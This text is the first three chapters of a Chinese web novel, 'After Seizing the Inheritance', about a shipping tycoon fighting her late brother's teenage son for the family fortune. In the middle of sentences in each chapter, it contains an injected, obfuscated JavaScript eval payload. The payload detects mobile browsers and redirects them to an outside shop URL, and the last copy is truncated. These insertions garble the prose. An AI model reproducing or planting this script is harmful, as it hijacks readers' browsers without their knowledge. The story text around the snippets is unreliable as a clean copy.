《侵占遗产之后[年下]》 1. Warm up (1) 闵金玺死了。 闵金瑛收到这条消息的时候,还身处德国埃森,带着翻译团队和一众下属,替一家国资大集团来跟当地的一家船舶制造公司牵线搭桥。 这一次要是谈成了,她能大大加强自己手里的船只储备,开拓中国对南美、对澳大利亚,甚至对非洲的航运路线,未来的海运订单价值更是不可估量。 就是这消息放出去的一个月,已经有好几家外贸集团抛出橄榄枝,来跟闵金瑛商谈扩大货物托运业务范围的意向。 她壮志满怀,更是势在必得。 可当“闵金玺死了”这五个大字出现在手机屏幕上,闵金瑛的第一个反应还是立刻让助理文墨替她订最近的一班航班。 她要马上飞回深圳。 文墨在看到消息的三分钟内锤开了闵金瑛的酒店房门,面对面地进言劝阻。 “金瑛,和埃森造船的合作不容有失,这次不只有我们,还有其他的海运公司在谈,你现在要是走了,我们在南美的航线上就是失了先机,你之前做的努力都白费了。” “我要回深圳去。”闵金瑛根本没有听进去,手上已经把衣服往行李箱里扔。 一边扔一边继续说:“闵金玺那个狗杂碎终于死了,他大爷的,真是大快人心!老娘等了这么多年终于等到了!墨墨,你不许拦我,这事千金万金换不来的,我一定要回去看看老天爷是如何开了眼,给我这个混账哥哥安排了怎么个死法儿。” 文墨上来把闵金瑛的手腕按住:“你要看,有的是方法拿到照片拿到视频录像。可如果没了这单生意,你怎么硬气地回深圳把闵家家业抢过来?你怎么让闵家的人服你?” 蛇打七寸。 闵金瑛的动作停下。 “我和你打幼儿园就认识,还一起工作这么多年,你受过你哥多少欺负我最明白了。我理解你的。” 文墨一面把衣服从她的手指里头一点一点地抠出来丢回床上,一面给她分析并规劝。 “金瑛,我已经调查过,闵金玺是车祸,送到医院时人已经咽了气,接下来还要尸检定责走流程,根本不可能这么快火化下葬。再说了,他是闵家当家人,山东老家的亲戚要南下奔丧,汕头的亲戚要赶到深圳去。他离了婚又无儿无女的,闵氏集团里头亲戚股东一大堆,谁也急不来的。” 闵金瑛拧着一双弯月眉,抿着唇听文墨说话。 文墨也看不出她心里到底怎么盘算,只能把她摁到旁边的扶手椅坐下,自己蹲下在她身前,握住她的手。 “我知道你等这一天等了很多年,可明天就要签意向合同了,你不能这个时候走。明天,合同一签你可以立刻就回深圳去,我来处理后面的事,最多后天,你就能看着闵家那群人,堂堂正正挺直了脊背,说眼下只有你有能力接管闵家家业。” 文墨看着闵金瑛,沉沉呼吸,等着闵金瑛反应。 “不。”闵金瑛反握住文墨的手,“我先不回深圳了。” “什么?” 闵金瑛眉心舒展,表情已换上志得意满:“帮我订明天回北京的机票,签完意向合同之后我就飞。你说得对,闵金玺在深圳一时半会儿还烂不了。可闵家的水深得很,我要回去当家的话,只有我和你远远不够。我得先回北京挖人去。” 一下子就从抢江山跳跃到了坐江山。连文墨都得眨眨眼睛努力跟上。 她说着握紧文墨的手:“还有,闵金玺之前跟我争的越南港口扩建投资,原本我只是试探试探,可现在他死了,我要挖人回去,确保我的闵氏能咬下这块肥肉。 “墨墨,我还想让我们的闵氏海运,和闵家的海运公司,南北两家一起做。我们从德国这儿新买的那几艘船,全都投入越南的港口,不用回国了,正好可以避开进口船舶的税费。” “你是想借着闵家的名头谈下越南的港口,由我们自己来做?” “对,实际业务由我们的船全部吃下。左手倒右手,闵家的东西,进我闵金瑛的口袋。” 眼前的闵金瑛明显是已经回到了正轨上,收拾起情绪整理好思绪,又重新做回了杀伐果断的她老板。 文墨长舒一口气点点头,握住闵金瑛的手,两三句安慰顺带把明天签意向合同的要点确认,给闵金瑛订了机票才回自己的房间。 酒店套房里头乱糟糟,这头是收拾到一半的行李箱,那头是床上散落着的衣服。可闵金瑛吹起口哨,站起身去开咖啡机,在这不见阳光的冬日里,站在窗前欣赏酒店楼下那指甲盖儿一般迷你局促的绿地喷水池。 前几日刚到埃森的时候,闵金瑛还皱着眉头嫌弃这儿看不上那儿的,可在今日的她眼中,这一切却已经是完美得不能再完美。 埃森堪称她的命中福地。 老天开眼。 真是他大爷的老天开眼。 闵金瑛到现在都还记得,即便已经过去这么多年,过去了这么多个日日夜夜,她都还记在骨子里,记得闵金玺是怎么把她从闵家赶出来的。 那天的深圳阳光毒辣,七月末的桑拿天,日头下的万物都被炙烤得喘不过来气。站在闵家外头的她更是,头顶滚烫,骄阳刺眼。 可她却觉得一颗心从内里冰一样凉,冰到膝盖都跟着颤抖,冰得指尖都没有知觉。 闵金玺的样子她不会忘。平日里就对她言辞刻薄颐指气使的哥哥,那日说的话更是刀子一样往她的心口扎。 “你今天也成年了,我对你再也没有扶养义务,从今日起给你衣食住行哪怕一分一毫,都是我闵金玺大发慈悲做慈善。我告诉你,点头嫁到黄家去,你还能在我家的屋檐下呆两年。不点头,现在就给我滚。” 阳光下她不太能看得清楚东西,可闵金玺她却看得清清楚楚。 亚麻衬衫休闲裤,双手抄在裤兜里,只用鼻孔看人。那张能让人不错眼珠的精致面容上,只有令人作呕的傲慢和狠毒。 十八岁的闵金瑛,顶着烈日,顶着恐惧,顶着不安,硬是把脊背挺直,抬起头来直视闵金玺。 即便她的声音还带着细微的颤抖,话却是字字掷地有声:“黄敕安五毒俱全,光是戒毒所就是几进几出,要嫁你就自己洗干净屁股嫁过去。” 闵金玺一愣,似乎没有意料到素日里低眉顺眼的小妹还能有话反驳。可他却没有发怒,五官舒展如旧,露出一种看小猫打架的饶有趣味。 “他姓黄,他家里捏着粤东乃至整个闽南的婚纱出口,黄家姻亲两岸三地,有多少服装生产外贸的单子你知道吗?闵家有多少条船,他家都能装满。姓黄的就算是个死人,你也得给他配冥|婚,懂吗?” 闵金瑛咬牙不说话。 闵金玺抬手用指尖沾了沾额角的细汗,皱起眉头,抽出真丝手帕抿去汗水:“要怪就怪爸妈没给你留遗产,还要再问,你就到地底下去问他们吧。” 他已经没有耐心再应付闵金瑛,从口袋里捏住她身份证的一角抽出来,随手往外一扔。 身份证啪嗒摔到闵金瑛的脚边。 闵金玺抬手让佣人开门,转身迈步进去吹空调,进门前留下轻飘飘一句话——“想通了就进来,想不通就去死。” 闵家大门关上。 那天闵金瑛还是进门回去了。 她捡起地上的身份证,低头敲开闵家门。闵金玺沏着功夫茶对她冷嘲热讽,她充耳不闻。 当天晚上,闵金瑛从自己房间的衣柜角落里挖出早早藏好的一只劳力士腕表,揣着身份证和大学录取通知书,天不亮就离开了闵家。从此再也没有迈进闵家家门,一走就是八年。 那只腕表18K黄金但无盒无卡,转手只卖了六万四。闵金瑛靠这六万四上的大学。 大学四年,闵金瑛一个学期的课都没认真上,玩命一样地捞钱,什么来钱做什么,从在医美机构兼职干翻译,到靠免签政策捆绑医美旅游、海外购房、中韩代购,赚了点钱就注册公司搞投资在中韩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578309|187203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之间倒腾美妆护肤品。 后来趁有一年海运价格暴涨,收购了天津一家快破产的货代公司,改名闵氏海运,跟她哥哥手里的闵氏海运同名,入场闵家老本行,又靠承运医美原料和医疗器械一路发际。 学业是低空飘过差点毕不了业,海运版图却是一再扩大,光是中日韩的黄金航线就吃透了三条,不到三十,闵金瑛走出去已经是响当当的一号人物。 以至于有人说“海运南北有二闵,一只老虎一条龙”。老虎是闵金瑛,龙是闵金玺。 不知道的以为是闵家兄妹大展鸿图叱咤风云,可只有极少数的圈内人才知道,这是两个姓闵的龙虎斗,是不到你死我活不肯罢休。 生意场上争斗多年,今日只剩下闵金瑛一个。 她可不觉得无人斗是寂寞,更没有半分伤感,在从德国飞北京的航班上,她还几次回放文墨给她搞来的资料,细细品味咀嚼闵金玺到底是怎么被天收的。 文墨总结的“车祸”二字过于平淡。闵金瑛觉得若是要让毒辣的媒体执笔,应该是——总裁豪车铲上树,桌底鸳鸯齐归西。 闵金玺的车上不止他一个,还有他的小情儿。 这个小情儿闵金瑛还有印象,是闵金玺曾经的女朋友。其实说是女朋友也不算贴切,是闵金玺对人死心塌疯了一样地追求痴缠罢了,还把人家原来的男朋友打进了医院,才把人抢到身边来。 闵家这一支三代男丁单传,这一辈只有闵金玺一个。从小被闵家祖辈父辈娇惯得无法无法的耀祖,头一回想要的东西得不到,回家里一发脾气家里人还不允许,说那女孩儿家世普通甚至贫寒,根本入不了闵家的门。 原本是一场闹剧,生生到如今还能闹成了中年梁祝。 闵金瑛记得,那年她才九岁,看着十九岁的闵金玺在家里可劲儿闹,又是绝食又是动刀子,非要闵家人点头同意三年后让他跟那女孩儿结婚。闵金瑛的爷爷举着刚做的拐杖,直接把闵金玺的肋骨打断了一根。 听说那女孩儿转学还是退学,反正离开了深圳,总之两人从此再也没有下文,闵金玺愈发阴晴不定刻薄冷血。 闵金瑛一直觉得,她这个恶霸哥哥只有当初冲冠一怒为红颜的时候,才稍微有点人样,所以这么多年之后他们再续前缘,闵金瑛并不觉得奇怪。只是这开车撞树,报告是说两人争夺方向盘,横看竖看也不像是破镜重圆的戏码。 有些费解。闵金瑛看着现场照片,捏着下巴思考其中可能的原委。 空乘在这时候走来,俯身提醒请收好小桌板打开遮光板,飞机准备降落首都机场。 窗外是初冬万里无云的北京城,闵金瑛满心期待。飞机盘旋降落,她早叫好了司机来接,带着她不回公司,也不回她在北京的住处,直奔二环里的一家咖啡厅。 闵金瑛到咖啡厅坐下时,她约的人还没有到,她不时抬头往窗外瞧,低头给文墨发消息。 “咱们这位财务总监,还是不点头调回广东?也不说条件?” 此刻文墨那边是早上,正好能对上闵金瑛的时间,回复速度飞快:没点头呢。说来也怪,我明明记得他是一直想回广东去的,怎么这么好的机会放在眼前了,反倒这么犹豫。 闵金瑛看着文墨发来的文字,忍不住笑着将肩膀一耸,啧啧两声打字回复:北方有佳人,一顾倾人城,再顾倾人国。赵祁恒这个财务总监干得无可挑剔,怎么会恋爱脑成这样? 消息刚发出去,闵金瑛抬头。说佳人,佳人到。 闵金瑛手下那位财务总监心心念念的佳人,此刻正在店外下车。闵金瑛眯着眼睛往外看,看佳人挥手跟车内人告别,笑意盈盈且缱绻。 隔着玻璃,闵金瑛看见车内人露出来的一张脸。呦呵,剑眉星目,长得不错。 这下要有点意思了。闵金瑛暗忖,看佳人进店,起身迎接,张开双臂就给人一个大大的拥抱。 “好久不见,我的市场顾问。” 2. Warm up (2) “听说连你们这样做约会软件的公司都入场人工智能了。怎么?以后约|炮都能AI滴滴代筛嘉宾了吗?” 梁曼韶给闵金瑛当市场顾问多年,早习惯闵金瑛的说话方式,笑着将头一摇,“只是投资了一个AI聊天软件,不过确实挺有意思的,可以试试。” 闵金瑛摆摆手,“聊天嘛,当然是找真人聊起来舒服,人我都聊不过来了,怎么还跟AI聊。不过工作软件平台接入提效倒是很有意思。” “那确实是主流。” 两人落座,服务员过来问喝点什么,闵金瑛不看菜单,要了一杯冰美式。梁曼韶说了句一样,把菜单还回去。 闵金瑛眨眨眼睛,托着下巴问梁曼韶:“我们都好久没见了,曼韶,你最近怎么样?刚刚车里送你来的,是新男朋友?” 梁曼韶眼中浮现一丝慌乱,遮掩一样低头笑了笑,“不是男朋友。怎么说呢,床伴吧。不过是固定的。” 闵金瑛和梁曼韶相识许久。四年多前,闵金瑛的闵氏海运开拓邮轮旅行的项目,找外头的广告公司做品牌推广,梁曼韶就是对接人。梁曼韶方案做得大胆新颖又细致周全,当时闵金瑛就想把人给挖过来,只可惜梁曼韶跟着当时的上级跳槽到了互联网外企做约会软件,拒绝了她的邀约。 不过两人联系也并未断绝,闵金瑛的公司和梁曼韶的工作并无利益冲突,是以梁曼韶能一直给她当顾问拿项目分红。 挖梁曼韶没挖到,闵金瑛却贼不走空,挖了梁曼韶的男朋友赵祁恒做手下大将,如今赵祁恒是她手上闵氏海运的财务总监。 噢,已经是梁曼韶的前男友。 “你工作这么严肃认真一丝不苟,没想到生活上这么玩得开又坦诚。”闵金瑛说着又摇摇头,“只是赵祈恒要难过了。” 梁曼韶面色平淡,没有半分波澜:“我跟他已经分开三年多了,都已经向前看了,还有什么好难过的。” 闵金瑛指尖点着梁曼韶,笑意深深:“装傻充愣,扮猪吃老虎。” 梁曼韶没再接这话。 “好了,今天我来找你呢,也是有正经事的。”闵金瑛不在这无关紧要的话题上纠缠,先入正题,“我哥哥跟他的小情儿出车祸死了。按继承顺序,是我还有我爷爷平分他的财产。别的都还是其次,主要是闵氏集团,特别是闵氏海运的股份,我爷爷已经在医院瘫了好几年了。闵氏集团董事会别无他选,只有我。” 已经过去足足一天了,可闵金瑛说起这些来,都还压不住嘴角弧度。 梁曼韶思量片刻,说了句“恭喜”。 闵金瑛伸手握住梁曼韶的手:“我回去之后,会整合闵氏海运和我手上现有的所有资源,打通整个东海岸到日韩,甚至到美洲的海运。我需要一个人帮我重组一个新的海运市场部。曼韶,你要不要来?” 梁曼韶愣住,眼中对闵金瑛这话的吃惊与动心都毫不掩饰。 可她却摇摇头:“闵总,说实话,做实体产品的市场,还是这么大体量的产品,我确实心动,尤其是跟你一起。我完全想象到工作起来能有多么高效舒心。可是我完全不熟悉对公海运的市场行情,也没有相关的客户资源。” 话说得冠冕堂皇,拒绝却也是真情实感。 闵金瑛摆摆手,说出自己的计划:“这一层你不必担心,对公的货运我会调天津的人过去,我希望你从邮轮旅游的市场营销开始,慢慢过渡。曼韶,你才二十八岁,你完全有机会有能力尝试新的事情和更广阔的天地。” 可梁曼韶还是摇头:“但凡我有五年,不,三年相关的经验,我都可以试一试。但这是闵总你抢回闵家的重要一步,我不能这样冒险。” 闵金瑛皱眉:“闵氏海运尾大不掉,做这件事,我能想起来的只有你,当时也是你建议我把医美旅游代购这些产业整合起来做大,我很相信你的眼光和判断,也相信你有这个能力。你能够在未来三年五年内帮我把生意做大做好。你再考虑一下,不必现在就给我答复。” 她的邀请给到这里,梁曼韶却还只是说自己会认真考虑,这已经是体面的拒绝。 闵金瑛得不到肯定回复,也深知梁曼韶和家里关系不好,并不想回广东发展,眼下还有刚刚外头送她来的那个新小男朋友,她这点头的可能性太小。 咖啡送上来,闵金瑛刚喝一口,放下杯子又说:“我其实还有一件事,我想也只有你能帮忙。” “闵总你说。” 闵金瑛面露犹豫,足足等了半晌才开口:“我想让赵祈恒回深圳去,替我接管闵氏海运的财务。他不肯,你能帮我劝劝他吗?” 闵金瑛这人,出手从来不能空手回。 梁曼韶满脸写着“了然”二字,“我跟他现在也就是普通朋友,劝倒是可以劝,只是不一定劝得动。我记得赵祈恒是特别想回广东发展的,这么好的机会,他舍得不要吗?” 闵金瑛喝了一口咖啡,双手手指交叠,托着自己的下巴,看向窗外刚刚梁曼韶来的位置:“是呢,怎么他就不要了呢?我猜,可能是因为在北京还有放不下的人。” 她的目光挪回来,看进梁曼韶的眼里:“你说呢?曼韶。” 梁曼韶笑笑不说话,低头喝咖啡。 还能因为什么呢?还不是因为你不肯回广东?闵金瑛腹诽,只是不把话给梁曼韶挑明说透,给她留些装傻充愣的余地。 闵金瑛看她沉思不语,又推一把:“我一直跟大老爷们儿混到现在,别的没太学会,可我明白了一个道理——男人的心眼子不比针鼻大——我是个局外人,可我当你是自己人,劝你一句,有道是‘不怕贼偷就怕贼惦记’,如果换作是我,我会想方设法地让赵祈恒赶紧离开北京。” 她双目露精光,叫梁曼韶想起动物世界里藏匿林间伺机出动的老虎。 她说:“当断则断,他念头不肯断的话。以免后患无穷,腿我就得给他打断了。” 梁曼韶视线上抬,恰是被闵金瑛擒住。闵金瑛看见里头明明白白的疑虑和担忧,放心收手,只言尽于此。 直到和梁曼韶分别,闵金瑛都没有再提赵祁恒这话茬一次,只是和梁曼韶聊了自己对于闵家的规划,对公货运先不和梁曼韶讨论,可邮轮旅行的产品定位却是问了梁曼韶的许多意见。末了梁曼韶还答应跟深圳的闵氏海运也签订一份劳务合同,也和以前一样,以顾问的形式跟闵金瑛合作。 临别时分闵金瑛和梁曼韶拥抱告别。 “那以后和闵总就线上联系了。” 闵金瑛摆手,“怎么会?我在京津冀打拼这么多年,相比深圳,这才是我的老巢。” “深圳闵家只怕千头万绪,北京的闵氏海运运作顺利,早已步入正轨,你还会常来吗?” “你说的在理,可是这是我自己双手打拼下来的,无论如何我都不会丢下不管。于理我确实是丢个副总在这里打理,自己在深圳看报告就好,可于情,我舍不得。” 闵金瑛的司机已经把车开到近前,她跟梁曼韶挥挥手,“我还要赶飞机,那我们深圳再见了,合同我会发到你邮箱,offer我更是一直给你保留着,随时等你答复。” “这就直接去深圳了吗?”梁曼韶的惊讶毫不掩藏,她知道闵金瑛刚从德国回来,刚刚聊天闵金瑛也提过自己打首都机场来。这风风火火地回去争家产,是真的一刻也不停。 闵金瑛扶着车门,食指中指并拢,从眉峰朝外一划:“奔丧抢钱,一分钟都等不了了。拜拜!” 车门一关,扬长而去,直奔机场,南下深圳。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578310|187203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 来接闵金瑛的连司机带车都是从北方调过来的。车门打开时,与司机一同前来的律师下车来迎接老板。 “上车,一边开一边说。”闵金瑛挥挥手,把行李丢给司机,自己拉开车门坐进去。 律师上车,闵金瑛当即发问:“调查得怎么样?遗嘱有没有?他这些年有没有搞出什么私生子女来?” “深圳这边,闵家的势力不小,消息封锁得很严,我们……” 闵金瑛嘴角下压:“说重点。” 律师脸色一白,打开iPad递给闵金瑛:“我们从社会关系和公证处入手排查,目前证实闵金玺没有公证过的遗嘱。闵金玺身边没有过情人,离婚之后也没有新的恋情。” 闵金瑛的手指在屏幕上下滑动,一目十行地把资料扫完,到了最后停下,皱眉又发问:“他和那个一起出车祸的小情儿,有孩子吗?” “这个……还没有找到。我沿着线索去探访她以前在深圳的邻居,据邻居回忆,她当年搬离的时候是和父母一起,没有怀孕的迹象。我查了大大小小的医院,也没有她早孕就诊的记录。之后她离开深圳,后续的还在查。” “她当年离开深圳,搬去了哪儿?我记得她老家也是山东的。” “是。她当年回山东去了,今天早上查出来的消息,已经派人去当地继续调查。毕竟是十几年前的事情了,当时铁路还没有实名购票,我们查起来有点慢……” “什么时候回深圳的?” “今年七月。几乎她是一来深圳闵金玺就知道了,应该是他保护起来,所以之后的信息也不好找了。” 闵金瑛表情阴沉,显然是不满意这话。 强龙难斗地头蛇,车和司机是安全保障,从北京调过来她更放心,可真要查事情,还要挖这样十几年前的人事物,任凭人多有能力,来了都只能睁眼瞎。 眼前这律师是本地的,虽然不是闵金瑛用惯了的人,可目前已经是最好的选择,两天时间内做成这样已经是难得,只是远远不够。 闵金瑛拿出手机,一边翻出通讯录名片,一边发问:“叫什么名字?那个小情儿。” “洪峥仪。洪水的洪,峥嵘的峥,仪态的仪。” 她的指尖停下,选中一个电话拨了出去。那边很快接通,闵金瑛登时换上笑脸:“琛哥,我回深圳了,有空去喝一杯?” 身旁律师一听这声称呼,竖起耳朵来。 怎么闵金瑛不在深圳这么多年,还跟这样连他都知道名姓的地头蛇有牵连。 闵氏海运明面上是慈善年捐成百上千万的企业,可闵家怎么不干不净地走灰色产业发家的,沿海当地人或多或少都听过传闻。他接这单生意的时候也是有些犹豫,可闵金瑛给的实在太多,他又想闵金瑛在北方这么多年,不至于还和这边的势力有牵扯,做事起码有所限制,这才硬着头皮接下这一单“遗产纠纷”。 现在请辞下车会不会太晚? 闵金瑛垂下眼,律师不知道这位琛哥说了什么,只看见闵金瑛的脸色越来越冷,那眼中狠戾愈聚愈浓,吓得他汗毛倒竖。 “当然了,闵家这一亩三分地,落在我手里的话,闵金玺答应你的东西,该怎么样还是怎么样,我绝不撤回。但是呀……我现在还没拿到手呢,要落在别人手里呢,我就不能打包票了。琛哥你说是不是?” 律师仔细等着闵金瑛的指示,等到她面上由阴转晴,听见她说:“小事情而已,琛哥你替我查个人,洪峥仪。洪水的洪,峥嵘的峥,仪态的仪,我哥的小情人。从前在山东,半年多前回深圳的。除此之外,还有另外一件小事……” 闵金瑛勾起嘴角,“琛哥人脉广,顺手送我一只唢呐锣鼓队,行吗?要全深圳最好,吹得敲得最响的那种。” 3. Warm up (3) 车从西往东,从宝安区一路杀向罗湖。 闵金瑛一直盯着手机屏幕,等着屏幕从黑转亮。律师在旁敲着电脑屏幕整理资料,不时接打电话催促跟进,每当有电话打进来,闵金瑛的目光都是第一时间追过来,锐利逼人,让大气都不敢出。 再往前开就是闵家老宅所在的怡福花园,司机减缓车速,来问老板:“还往前开吗?还是找个地方先停下等消息?” “先等等,靠边……” 话未说完,闵金瑛的手机响起。律师打字的手都停下,他这边也有电话进来,可此刻他哪里敢接,先切了静音。 闵金瑛接起电话,打了个手势,司机会意改向,只在附近绕路,不再往目的地开。闵金瑛这头没有说话,只仔细听着那边的,这通电话内容不知是什么,律师和司机只看见闵金瑛眉头拧得越来越紧。 电话挂断,闵金瑛开口:“去闵家吧。” “闵总,这……” 闵金瑛无视律师的话,直接对前头的司机说:“连湘,我进去之后,你带着律师去鹏城第一医院,拿着相关资料,办好接手洪峥仪治疗的手续。” 司机直视前方,点头说是。 车已经开到闵家老宅外头,不远处是几辆全黑面包车,上头下来十几号人,跟闵家的保安正在对峙。 闵金瑛拿出粉饼补了补妆,描摹好唇线,她才开口:“杜律师,洪峥仪的手续办完之后,我需要你去查一个人在深圳的所有信息,他叫洪宇。洪峥仪的洪,宇宙的宇。查他转来深圳哪儿上学,成绩如何,同学关系怎么样,事无巨细,全都要。” 律师一下子明白过来:“是闵金玺的孩子?” 司机扭头问:“闵总你要一个人回闵家吗?我先陪你进去……” “不必。按照我说的办。” 司机已经下车来给闵金瑛开了车门,她朝镜子最后看一眼,检查妆容与面具无暇,啪嗒合上镜子,攥在手心。 她偏头来面向律师,笑容明艳耀眼如盛夏,一双眼却阴森森寒冷如极夜:“对,闵家新的独苗儿。” 律师被这目光吓得打了个寒战。 闵金瑛下车,径直朝闵家大门前对峙的双方走去,朝着那不懂事的保安连打三个响指:“我是闵金瑛,这些都是我的人,来给我哥奔丧的,让开。” 保安的动作刚一停顿,前头的几个被来人趁势一推,往后退出一条道来。那十几号人涌到了闵金瑛身后,握钢棍一样抄着唢呐鼓槌,乌压压一片。 还没等哪一方有什么动作,保安后头,从闵家宅院大门口,传来不卑不亢的一声——“金瑛小姐。” 保安当即侧身让开。 闵金瑛握着手包,抱着双臂:“程叔,好久不见,闵家这么死气沉沉的,你当管家这些年来,精气神倒还不错啊。” 程叔双手叠在身前,朝闵金瑛弯弯腰,侧身引向内。闵金瑛抬脚往里走,程叔却让人拦下那十几号的丧乐乐队,保安又和他们吵吵嚷嚷瞪起眼睛来。 闵金瑛抱臂不语,程叔低声说:“大小姐在里面等您,我知道您不想给闵家面子,可我想对您来说,这个姑姑还是不一样的,毕竟您今日所有,都离不开大小姐偷偷给您的那块劳力士腕表,对吗?” 闵金瑛冷哼一声,暗骂一句老狐狸,早早请了她姑姑闵堃来坐镇。她扭头对那队的领头人说,“就在这儿吹在这儿奏,钱和礼都少不了各位的。” 唢呐锣鼓齐声响,别墅群里头噪鹃麻雀都惊起一群,临近的别墅里头纷纷走出人来探头观望。 保安面露尴尬,可即便将求助眼神投向管家程叔,后者也是无可奈何,只能让保安拦着他们不让靠近闵家正门。 闵金瑛往里走,走进这阔别多年的闵家老宅。 上下挂白,来往佣人都身穿素色黑色,只有闵金瑛一个不同。飘带衬衣洒金长裙,连风衣压襟的胸针格外耀眼,上头的钻石和耳环上的交相呼应,随着她脚步晃出摄人心魄的火彩。 佣人将探究目光藏起来,等她走过就立时开始交头接耳。 别墅正厅作灵堂,深圳可不许居家停灵,只能上头放闵金玺一张黑白大照片,下设供桌祭祀,贡品琳琅满目,烧纸烟火不绝。 有个少年跪在旁边的蒲团上,披麻戴孝低着头。 闵金瑛一步一步走上前。 “金瑛你回来了。” 闵金瑛的脚步停下,侧身面对来人。 闵堃从花园那边的小门走进来,外头烟熏火燎,应该是在花园里头给闵金玺烧纸钱,闵堃进门时还回头嘱咐佣人小心点别让纸钱翻过来。那一双眼红红,不知道是被烟熏的还是因为哭,手上攥着的真丝手帕也是揉捏得尽是褶皱,更湿了大半。 闵金瑛嘴巴抿成一线,等人到近前才开口:“姑姑。” 闵堃上下打量闵金瑛的衣服,眉心微蹙,嘴唇张合似乎是想要说什么,却最终把那句话吞了回去。 “外头的唢呐……” 闵金瑛笑:“来奔丧也不好空手,给我哥带的丧乐队,聊表哀思。” 闵堃皱眉摇头,却没有驳斥这话,她指了指旁边跪着的少年,说:“这是你侄子,金玺的儿子,叫洪宇。” 少年闻声抬头,撞上闵金瑛的目光。 不过十六七岁的年纪,瘦得一张脸线条分明双颊凹陷,扔人堆里闵金瑛是一眼懒得瞧的那种。可要是细看的话,下垂眼眉骨高,确实看得出来底子不错,也确实有几分闵金玺的精致眉眼,现在眼尾红红添两分柔弱,可那眼神是透露着防备,凉浸浸跟街头流浪的小狗一样,弓着脊背以抵御敌人。 闵金瑛抱着手臂,朝洪宇露出个寒森森的笑容,他那眼神立刻弱了下去,肩膀一缩,往后退了两寸身位。 小鸡崽儿。闵金瑛忍不住翻了个白眼。 这样的也配跟她抢。 这样的凭什么跟她抢。 没胆识没经验。 就凭是个男丁? “我说姑姑,没人给闵金玺戴孝摔盆事小,闵家家产被野种吞了事大。闵金玺的尸还没烧呢,做了亲子鉴定了吗?” “金瑛小姐,这是亲子鉴定结果。” 管家程叔早打发人去取文件,拿了等在一边,此刻递上来,还补充一句,“金玺少爷生前自己查的,附在了遗嘱的文件里。” 程叔托着文件袋,毕恭毕敬地送到闵金瑛面前。 闵金瑛没接,闵堃看这僵持局面,主动走过来拿起文件夹,拉起闵金瑛的手,说:“这儿烟太大了,我们去楼上书房说。” 闵金瑛脚步没有动,伸手把文件夹抽过来,盯着程叔的脸,打开文件夹取出里头的鉴定报告和遗嘱。 不过几页纸,明白清楚地写了闵金玺和洪宇实为父子,更有闵金玺自己白纸黑字地写清楚了自己所有财产全都由洪宇继承。 这些早在闵金瑛进闵家大门前,就已经从电话里头知道了,文件一页一页地在她眼前过,可没有一行真的被细读。 闵金瑛缓慢翻完最后一页文件,把文件拍到程叔手里。 她的话语跟动作一样轻飘飘:“看完了,好,我死心了。今天算我来尽了心意,闵金玺真下葬那天就不用请我了,爱怎么办怎么办,我要回北京去了。” 闵金瑛说完转身,抬脚就要往外走。 “金瑛小姐……” “金瑛!” 闵堃三两步走上前,拉住闵金瑛的手腕。闵金瑛挑眉看她,等着她自己说出请求来。 可闵堃犹豫不肯开口,闵金瑛歪头笑,钩子一样丢下一句:“怎么,还非要留下我吃晚饭吗?” 闵堃握紧手帕:“去书房说。” 闵金瑛脚步仍然纹丝不动。闵堃抿唇看着她,缓慢地把头左右摇,眼中尽是哀求。 闵金瑛叹了口气,双手举起:“好了好了,看在您给我那只活命劳力士的份上,我给您这个面子。” 话音刚落,她的指头冲向跪在遗照前头的洪宇,手腕反转,往自己的方向勾勾手指。 “你,跟过来。” 洪宇抬眼看闵金瑛,又看向闵堃,一双眼迷茫又湿润。 闵堃没说话,闵金瑛言语轻佻:“不是要继承闵家家业吗?缩成一团躲着算什么?过来听。” 程叔走过去,扶起洪宇,替他理了理膝盖处的褶皱,安抚地在他肩膀拍了拍,推他去闵金瑛和闵堃身边。 洪宇站起来闵金瑛才发现,这小鸡崽儿高倒是挺高的,少说也得一米八几了,看肩头骨架也不小,只是真的瘦,整个人看起来轻飘飘的,孝带绑着的腰更是,她都怕他走起路来那腰会断。 “程叔,泡壶茶来。” 闵金瑛跟着闵堃走进一楼书房,到旁边的会客桌椅坐下。 一共三把扶手椅,洪宇看着剩下的那把空椅子却没敢动,抬眼看向闵金瑛,被她似笑带讽的眼神一盯,更是站着都离闵金瑛三步远,只敢站在闵堃身后。 就像路上遇到怕人的小麻雀,往前跺跺脚,小麻雀就往远处跳一跳。 “你在外头这么多年,一直跟金玺斗气,我也明白你心里不舒服,可毕竟是一家人……” 闵金瑛从逗麻雀的欢乐中收拾回心情,抬手制止闵堃这和稀泥的话。 “我说姑姑,滴水之恩涌泉报,这屋檐下我只认您一个家人。闵金玺三番四次逼我走死路,我跟他是一辈子你死我活的仇人,不是什么‘斗气’。” “是闵家对不起你。” “不必,您不必给老闵家道歉,我恩怨分明,这里头没您的错。” 佣人送了茶和点心进来,书房门从外关上。 闵金瑛耐心用尽,不再陪闵堃绕弯子:“凭借这遗嘱和证明,闵家完全没有必要大费周章地喊我回来。他是还没成年呢,可这不是还有您吗?您这个姑姑嫁人生女这么多年,在夫家是一力支撑,对娘家又是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 